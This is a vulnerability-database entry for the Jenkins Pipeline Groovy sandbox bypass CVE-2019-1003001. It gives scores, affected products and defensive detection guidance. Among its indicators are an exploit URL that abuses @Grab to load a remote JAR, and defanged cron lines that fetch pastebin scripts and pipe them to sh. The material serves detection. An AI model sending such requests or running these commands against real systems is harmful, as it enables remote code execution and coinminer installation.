cbcvebase.
CVE-2019-1003001
published 2019-01-22

CVE-2019-1003001: A sandbox bypass vulnerability exists in Pipeline: Groovy Plugin 2.61 and earlier in src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java…

PriorityP189high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
86.22%
99.7th percentile
A sandbox bypass vulnerability exists in Pipeline: Groovy Plugin 2.61 and earlier in src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java, src/main/java/org/jenkinsci/plugins/workflow/cps/CpsGroovyShellFactory.java that allows attackers with Overall/Read permission to provide a pipeline script to an HTTP endpoint that can result in arbitrary code execution on the Jenkins master JVM.

Affected

6 ranges
VendorProductVersion rangeFixed in
jenkinsdeclarative_plugin
jenkinsgroovy_plugin
jenkinspipeline<= 2.61
jenkinsscript_security_plugin
jenkins_projectpipeline_groovy_plugin
redhatopenshift_container_platform

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
path/securityRealm/user/admin/search/index
port8080
filenameMETA-INF/services/org.codehaus.groovy.plugins.Runners
urlhttps://pastebin.com/MjGrx7EA
urlhttps://pastebin.com/raw/60T3uCcb
urlhttps://pastebin.com/raw/rPB8eDpu
domaingwjyhs.com
domainimg.sobot.com
domainsystemten.org
port51640
filenamekerberods
filenamekhugepageds
path/usr/local/lib/{random filename}.c
path/usr/local/lib/{random filename}.so
command*/10* * * * curl -fsSL hxxps://pastebin[.]com/raw/60T3uCcb|sh
command*/15* * * * wget -q -O- hxxps://pastebin[.]com/raw/60T3uCcb|sh
command*/15* * * * (curl -fsSL hxxps://pastebin[.]com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin[.]com/raw/rPB8eDpu)|sh
  • Detect exploitation attempts by monitoring HTTP GET requests to the Jenkins endpoint /descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile with a 'value' parameter containing @Grab, @GrabResolver, or @GrabConfig annotations — these are the AST transformation vectors used to achieve sandbox bypass.
  • The Metasploit module uses the ACL bypass path /securityRealm/user/admin combined with /descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile. Monitor for requests traversing this combined path pattern as an indicator of active exploitation.
  • The exploit delivers a malicious JAR with a META-INF/services/org.codehaus.groovy.plugins.Runners file. Inspect JAR files served over HTTP for this service-loader entry as a payload indicator.
  • The Jenkins version header X-Jenkins is used by the exploit to fingerprint vulnerable instances (<=2.137). Monitor for automated scanning of this header value in conjunction with the exploit endpoint.
  • The sandbox bypass is triggered by AST transforming annotations such as @Grab applied to pipeline scripts. Alert on pipeline script submissions containing @Grab, @GrabResolver, or @GrabConfig annotations in Jenkins logs.
  • Post-exploitation: look for processes named 'kerberods' or 'khugepageds' on Linux hosts, and for .so files dropped under /usr/local/lib/ with random names, as indicators of the follow-on coinminer/rootkit payload delivered via CVE-2019-1003001 exploitation.
  • ·The exploit requires the attacker to host a malicious JAR file on an HTTP (not HTTPS) server, because Jenkins/Groovy/Ivy fetches the @Grab dependency over HTTP unconditionally. The Metasploit module explicitly disables SSL for the payload-serving listener.
  • ·The ACL bypass component (CVE-2019-1003001 chained with the routing gadget) uses a fixed username 'admin' in the path /securityRealm/user/admin — randomizing the username is intentionally avoided per CVE-2018-1000408 considerations.
  • ·The vulnerability affects Pipeline: Groovy Plugin up to and including version 2.61 and Script Security Plugin up to and including 1.49. Both the pipeline validation REST APIs and actual script/pipeline execution are affected attack surfaces.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.